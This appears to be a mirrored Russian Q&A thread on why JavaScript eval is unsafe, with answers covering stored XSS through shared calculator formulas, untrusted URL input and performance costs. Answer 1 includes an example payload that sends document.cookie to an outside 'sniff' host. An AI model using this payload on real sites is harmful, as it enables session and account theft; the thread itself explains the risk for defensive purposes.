#javascript #безопасность #eval
В мире JavaScript разработчиков существует устоявшаяся фраза:
"Eval is evil" (eval — это зло)
Почему и в каких случаях использование eval в JavaScript является небезопасным? Если
JavaScript выполняется на стороне клиента, то каким образом злоумышленник может взломать
сайт?
Исполнять код позволяют стандартные инструменты разработчика многих браузеров: каждый
желающий может исполнить JavaScript код, например, в браузере Google Chrome, введя
этот код в консоль.
То есть, как мне кажется (поверхностно), единственное, что может сделать злоумышленник
— это навредить самому себе, потому что все его изменения сможет увидеть только он.
Однако существует мнение, что с помощью eval можно произвести кражу персональных данных
других пользователей? Каков механизм?
Почему eval относят к небезопасным методам? Если кто-нибудь знает, какую конкретно
угрозу может принести этот метод, пожалуйста, опишите ситуацию и приведите пример кода.
Ответы
Ответ 1
Ну смотрите. Допустим, мы написали калькулятор в котором можно зарегистрироваться и обмениваться формулами (т.е. серверная часть где хранятся как минимум учетные данные пользователей). Цель атакующего - получение доступа к учетной записи пользователи, или администратора данного ресурса. Сам калькулятор работает так: при нажатии какой-нибудь цифровой или с символом математической операций клавиши, мы добавляем его к строке expr, в результате у нас получается: expr = '5 + 2 * 3'; Когда мы нажимаем знак "=" - то выполняется eval: var result = eval(expr); Этап взлома: Если злоумышленник отправит формулу где помимо математического содержимого будет код на javascript, то тому кому это будет отправлено, вместе с формулой запустит и вредоносный скрипт. Формула, полученная от злоумышленника, может выглядеть так: expr = '(document.createElement("img")).src="http://hacker885.ru/sniff?c=" + document.cookie, 5 + 2 * 3'; В результате: злоумышленник сможет: получить куки, доступ к local/session storage, к содержимому страницы, попытается закачать что-нибудь (вирус например). Плюс: Если таким путем мы отправим это сообщение к администратору ресурса, то благодаря полученным нами правам, возможно сможем добраться до бекенда ресурса. На месте калькулятора может быть что-то более весомое: например e-learning портал. Как-то так) p.s. Немного не по теме, но хочу затронуть ибо встречается. Честно говоря, найти задачу где было бы действительно необходимо использовать eval - сложно, все, что мне попадалось - было связано с подобием калькулятора или визуализатора математических формул. Могу сказать, что при желании написать разбор математических выражений не сложно. В свободное время набросал такой вот парсер: http://jsfiddle.net/kadymov/6d79wmfg/4/ . Он немного не дописан, но уже работает, а занимает 150 строк. Используйте конкретные средства для конкретных задач, а eval если где и оставлять - то только на стадии прототипа.Ответ 2
Eval проверенных данных в плане безопасности вреда не несёт. Далеко не все данные, которые кажутся проверенными, являются таковыми. Например, сервер может прислать нечто написанное другим пользователем, что содержит вредоносный скрипт. Или параметры могут браться из адреса, а то и из его hash-фрагмента. Переход на такую страницу будет сделан по простой ссылке, а код разместившего ссылку будет выполнен на странице твоего домена. Eval снижает производительность. А современные браузеры очень заточены на оптимизации, чуть ли не до уровня компиляции в нативный код. Один прямой вызов eval - и этому конец. Любая функция, содержащая прямой вызов eval не может быть оптимизирована браузером, поскольку код выполняется в её контексте. Она должна будет сохранить доступ ко всем переменным, находящимся выше по цепочке замыканий, вполне возможно, продлевая тем самым жизнь тому, что должно было быть собрано сборщиком мусора. Непрямой вызов eval выполняет код в глобальном контексте. Распространённый вариант использования - получение глобального объекта. В большинстве случаев вызов eval может быть заменён на new Function. А зачем бы ты хотел использовать eval? Весьма вероятно, что для этого найдётся лучший вариант.
Комментариев нет:
Отправить комментарий